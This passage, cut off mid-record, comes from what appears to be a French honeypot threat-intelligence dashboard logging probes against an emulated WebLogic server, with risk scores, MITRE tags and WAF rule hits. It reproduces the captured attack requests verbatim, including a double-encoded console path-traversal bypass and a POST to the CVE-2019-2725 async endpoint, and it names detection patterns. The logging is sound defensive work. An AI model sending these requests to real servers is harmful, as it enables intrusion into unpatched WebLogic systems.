Chemin / cible
/console/css/%252e%252e%252Fconsole.portal
Pourquoi cette classification : Sonde fichier sensible: traversal ../ · Règle WAF « lfi-0 » · Traversal / LFI dans le chemin · confiance 100%
Confiance classification
100%
Corrélation +8
Risque capteur
Élevé
· 66
Confiance : Confiance 100 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1 Signaux
Http Lfi
pat-0508
pat-0105
CRS-930100-sub
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
ET path traversal encoded
LFI Double URL-encoded traversal
ET WebLogic console
WebLogic console path
Probe /console/
Ligne de requête
GET /console/css/%252e%252e%252Fconsole.portal HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Règles WAF
lfi-0
rce-0
nosqli-3
Payload (extrait)
GET /console/css/%252e%252e%252Fconsole.portal HTTP/1.1
Host: 62.3.50.33:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
Requête brute (extrait)
GET /console/css/%252e%252e%252Fconsole.portal HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0 Content-Type:text/xml
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 3,
"http_path_ext": "portal",
"http_ua_hash": "526c128160b99bde962deaec266d3dfbb4fd2ce3",
"http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b",
"http_target_hash": "461af30e5e5f44c0e83692269c5a890f09b39c20",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 197,
"payload_entropy": 5.232639947297179,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "http",
"app_proto": "http",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 7.2,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 66,
"tag_count": 9,
"anomaly_count": 0,
"campaign_key": "7d38e463e06153389fd82ffc3ab8bf195471bcf0",
"event_fingerprint": "0ce8bd3a534e957f4dde5ad495586ecdea699a54",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 325,
"precision_signals": [
"INT-http_lfi",
"pat-0508",
"pat-0105",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"kb_rule_ids": [
"INT-http_lfi",
"pat-0508",
"pat-0105",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"matched_patterns": [
"pat-0508",
"pat-0105",
"pat-0857",
"pat-0601",
"pat-0248"
],
"matched_pattern_names": [
"ET path traversal encoded",
"LFI Double URL-encoded traversal",
"ET WebLogic console",
"WebLogic console path",
"Probe \/console\/"
],
"pattern_ids": [
"pat-0508",
"pat-0105",
"pat-0857",
"pat-0601",
"pat-0248"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 66,
"correlation_boost": 8
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "5b2b09a0df144ba2e29ec0938784c236",
"payload_hash": "e76a092206454230cd30dffcb803db3e",
"path_pattern_hash": "c271ac4a957c0af5e50550304ca4fc56"
},
"target_context": {
"dst_port": 7001,
"service": "http",
"service_name": "http",
"risk_score": 66
},
"method": "GET",
"path": "\/console\/css\/%252e%252e%252Fconsole.portal",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"waf_tags": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/console\/css\/%252e%252e%252Fconsole.portal HTTP\/1.1",
"payload_snippet": "GET \/console\/css\/%252e%252e%252Fconsole.portal HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64;",
"evidence": {
"method": "GET",
"path": "\/console\/css\/%252e%252e%252Fconsole.portal",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"waf_tags": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/console\/css\/%252e%252e%252Fconsole.portal HTTP\/1.1",
"request_sample": "GET \/console\/css\/%252e%252e%252Fconsole.portal HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0\r\nContent-Type:text\/xml\r\n\r\n",
"payload_snippet": "GET \/console\/css\/%252e%252e%252Fconsole.portal HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64;",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "1e11177d760e614e039a12a140664fb8f44d735b",
"protocol_details": {
"http_method": "GET",
"http_path": "\/console\/css\/%252e%252e%252Fconsole.portal",
"request_line": "GET \/console\/css\/%252e%252e%252Fconsole.portal HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/console\/css\/%252e%252e%252Fconsole.portal HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64;",
"attack_vector": "lfi path traversal \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/console\/css\/%252e%252e%252Fconsole.portal",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 66\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 66,
"correlation_boost": 8
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 66,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"INT-http_lfi",
"pat-0508",
"pat-0105",
"CRS-930100-sub"
],
"tags_summary_labels_fr": [
"Http Lfi",
"pat-0508",
"pat-0105",
"CRS-930100-sub"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"http_method": "GET",
"http_path": "\/console\/css\/%252e%252e%252Fconsole.portal",
"request_line": "GET \/console\/css\/%252e%252e%252Fconsole.portal HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/console\/css\/%252e%252e%252Fconsole.portal",
"evidence_snippet": "GET \/console\/css\/%252e%252e%252Fconsole.portal HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64;",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +8 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_contenttype_attack_surface",
"http_path_traversal",
"http_probe_console",
"http_sensitive_path",
"net_web_probe"
]
}
24/07/2026 09:39:12 UTC
TCP
7001 · WEBLOGIC
weblogic probe
weblogic probe · via WEBLOGIC:7001 · (sonde / probe)
Élevée
Faible · 33
Détails
Voir
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
WEBLOGIC
WAF
—
Recommandation
Surveiller
Tags
net_weblogic_probe
tls_clienthello
weblogic_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
7001
Chemin / cible
—
Service
WEBLOGIC
Payload
��Q�Yzpy,���C����� &��^�*��r {6S�.������h.q��g0��I�CP ���a� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 �
Pourquoi cette classification : Type « weblogic_probe » (signaux protocolaires) · confiance 77%
Confiance classification
85%
Corrélation +8
Risque capteur
Faible
· 33
Confiance : Confiance 77 % — 3 signal(aux) capteur
Protocole émulé
1 Signaux
Weblogic Console
Upstream
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
Minecraft varint handshake
SIP TLS ClientHello
TFTP RRQ
User-Agent
—
Règles WAF
—
Payload (extrait)
��Q�Yzpy,���C����� &��^�*��r {6S�.������h.q��g0��I�CP ���a� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g�
� 9� � 3 �
Requête brute (extrait)
��Q�Yzpy,���C����� &��^�*��r {6S�.������h.q��g0��I�CP ���a� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 � � = < 5 / � u # 0 . + - 3 &
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"bytes_in": 517,
"payload_entropy": 3.9618424594094592,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "weblogic",
"app_proto": "weblogic",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 8,
"risk_classification": 58,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 5.2,
"risk_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0
},
"risk_score": 33,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "a513a8b6579875aee9e6cefbe17ae13f4cd756cc",
"event_fingerprint": "4ea7ffe7bc9ade2843b5e81016a496bfea35cfd6",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"confidence": 0.85,
"classification_confidence": 0.85,
"precision_score": 87,
"precision_signals": [
"INT-weblogic_console",
"INT-upstream"
],
"kb_rule_ids": [
"INT-weblogic_console",
"INT-upstream"
],
"matched_patterns": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"matched_pattern_names": [
"Minecraft varint handshake",
"SIP TLS ClientHello",
"TFTP RRQ"
],
"pattern_ids": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "weblogic",
"risk_confidence_factor": 77,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "239d065adebf1abc5032421ddfc98727",
"path_pattern_hash": "a179ef516d6662010534ca5ee85ea8d3"
},
"target_context": {
"dst_port": 7001,
"service": "weblogic",
"service_name": "weblogic",
"risk_score": 33
},
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffdQ\ufffdYzpy\u0010,\ufffd\ufffd\u001b\ufffdC\ufffd\ue5dc\ufffd\ufffd\ufffd\ufffd\u000b&\ufffd\ufffd^\ufffd*\ufffd\ufffdr {6S\ufffd.\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdh.q\ufffd\u0003\ufffdg0\ufffd\ufffdI\ufffdCP\f\ufffd\ufffd\ufffda\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"evidence": {
"request_sample": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffdQ\ufffdYzpy\u0010,\ufffd\ufffd\u001b\ufffdC\ufffd\ue5dc\ufffd\ufffd\ufffd\ufffd\u000b&\ufffd\ufffd^\ufffd*\ufffd\ufffdr {6S\ufffd.\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdh.q\ufffd\u0003\ufffdg0\ufffd\ufffdI\ufffdCP\f\ufffd\ufffd\ufffda\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd\u0000\ufffd\u0000=\u0000<\u00005\u0000\/\u0000\ufffd\u0001\u0000\u0001u\u0000\u000b\u0000\u0004\u0003\u0000\u0001\u0002\u0000\n\u0000\f\u0000\n\u0000\u001d\u0000\u0017\u0000\u001e\u0000\u0019\u0000\u0018\u0000#\u0000\u0000\u0000\u0016\u0000\u0000\u0000\u0017\u0000\u0000\u0000\r\u00000\u0000.\u0004\u0003\u0005\u0003\u0006\u0003\b\u0007\b\b\b\t\b\n\b\u000b\b\u0004\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0003\u0003\u0002\u0003\u0003\u0001\u0002\u0001\u0003\u0002\u0002\u0002\u0004\u0002\u0005\u0002\u0006\u0002\u0000+\u0000\t\b\u0003\u0004\u0003\u0003\u0003\u0002\u0003\u0001\u0000-\u0000\u0002\u0001\u0001\u00003\u0000&\u0000",
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffdQ\ufffdYzpy\u0010,\ufffd\ufffd\u001b\ufffdC\ufffd\ue5dc\ufffd\ufffd\ufffd\ufffd\u000b&\ufffd\ufffd^\ufffd*\ufffd\ufffdr {6S\ufffd.\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdh.q\ufffd\u0003\ufffdg0\ufffd\ufffdI\ufffdCP\f\ufffd\ufffd\ufffda\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"enterprise_scan"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "513acef23c2356830fd25646767422caaa1be81b",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffdQ\ufffdYzpy\u0010,\ufffd\ufffd\u001b\ufffdC\ufffd\ue5dc\ufffd\ufffd\ufffd\ufffd\u000b&\ufffd\ufffd^\ufffd*\ufffd\ufffdr {6S\ufffd.\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdh.q\ufffd\u0003\ufffdg0\ufffd\ufffdI\ufffdCP\f\ufffd\ufffd\ufffda\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"evidence_snippet": "\ufffd\ufffdQ\ufffdYzpy,\ufffd\ufffd\ufffdC\ufffd\ue5dc\ufffd\ufffd\ufffd\ufffd&\ufffd\ufffd^\ufffd*\ufffd\ufffdr {6S\ufffd.\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdh.q\ufffd\ufffdg0\ufffd\ufffdI\ufffdCP\ufffd\ufffd\ufffda\ufffd>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"classification_reason_label_fr": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 33\/100",
"confidence_pct": 85,
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 33,
"risk_label": "Faible",
"service_name": "weblogic",
"service_label_fr": "WEBLOGIC",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"INT-weblogic_console",
"INT-upstream"
],
"tags_summary_labels_fr": [
"Weblogic Console",
"Upstream"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-weblogic",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffdQ\ufffdYzpy\u0010,\ufffd\ufffd\u001b\ufffdC\ufffd\ue5dc\ufffd\ufffd\ufffd\ufffd\u000b&\ufffd\ufffd^\ufffd*\ufffd\ufffdr {6S\ufffd.\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdh.q\ufffd\u0003\ufffdg0\ufffd\ufffdI\ufffdCP\f\ufffd\ufffd\ufffda\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"evidence_snippet": "\ufffd\ufffdQ\ufffdYzpy,\ufffd\ufffd\ufffdC\ufffd\ue5dc\ufffd\ufffd\ufffd\ufffd&\ufffd\ufffd^\ufffd*\ufffd\ufffdr {6S\ufffd.\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdh.q\ufffd\ufffdg0\ufffd\ufffdI\ufffdCP\ufffd\ufffd\ufffda\ufffd>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"confidence_factors_fr": "Confiance 85 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "weblogic",
"service_banner": "honeypot-weblogic",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "discovery",
"ban_policy": "advisory_monitor",
"tags_list": [
"net_weblogic_probe",
"tls_clienthello",
"weblogic_emulated"
]
}
24/07/2026 09:39:10 UTC
TCP
7001 · HTTP
Sonde HTTP smuggling
http smuggling probe · via HTTP:7001 · (tentative d'exploit) · → /_async/AsyncResponseService
Élevée
Élevé · 80
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0001
TA0001
TA0002
Protocole
POST /_async/AsyncResponseService UA Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/201001…
Émulateur
HTTP
WAF
53
Recommandation
Investiguer
Tags
950079:sqli-19
950319:lfi-14
950326:rce-0
950327:rce-0
Cible HTTP
POST
/_async/AsyncResponseService
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
7001
Chemin / cible
/_async/AsyncResponseService
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
100%
Corrélation +8
Risque capteur
Élevé
· 80
Confiance : Confiance 95 % — Motif catalogue confirmé · 8 tag(s) WAF
Protocole émulé
1 Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
CVE-2019-2725 WebLogic CVE-2019-2725
CRS 941130
Ligne de requête
POST /_async/AsyncResponseService HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Règles WAF
sqli-19
lfi-14
rce-0
ssrf-3
nosqli-3
Payload (extrait)
POST /_async/AsyncResponseService HTTP/1.1
Host: 62.3.50.33:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0
Requête brute (extrait)
POST /_async/AsyncResponseService HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0 Content-Type:text/xml Cookie:478747e247375647 Content-Length:174401 <soapenv:Envelope xmlns:
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "526c128160b99bde962deaec266d3dfbb4fd2ce3",
"http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b",
"http_target_hash": "5f607796f47a9c4deebf8fbd05129012563f96fa",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 4096,
"payload_entropy": 4.699555404430477,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "http",
"app_proto": "http",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 7.2,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 80,
"tag_count": 12,
"anomaly_count": 0,
"campaign_key": "08e114ca7d0c70abb021ca884a234593093cbadd",
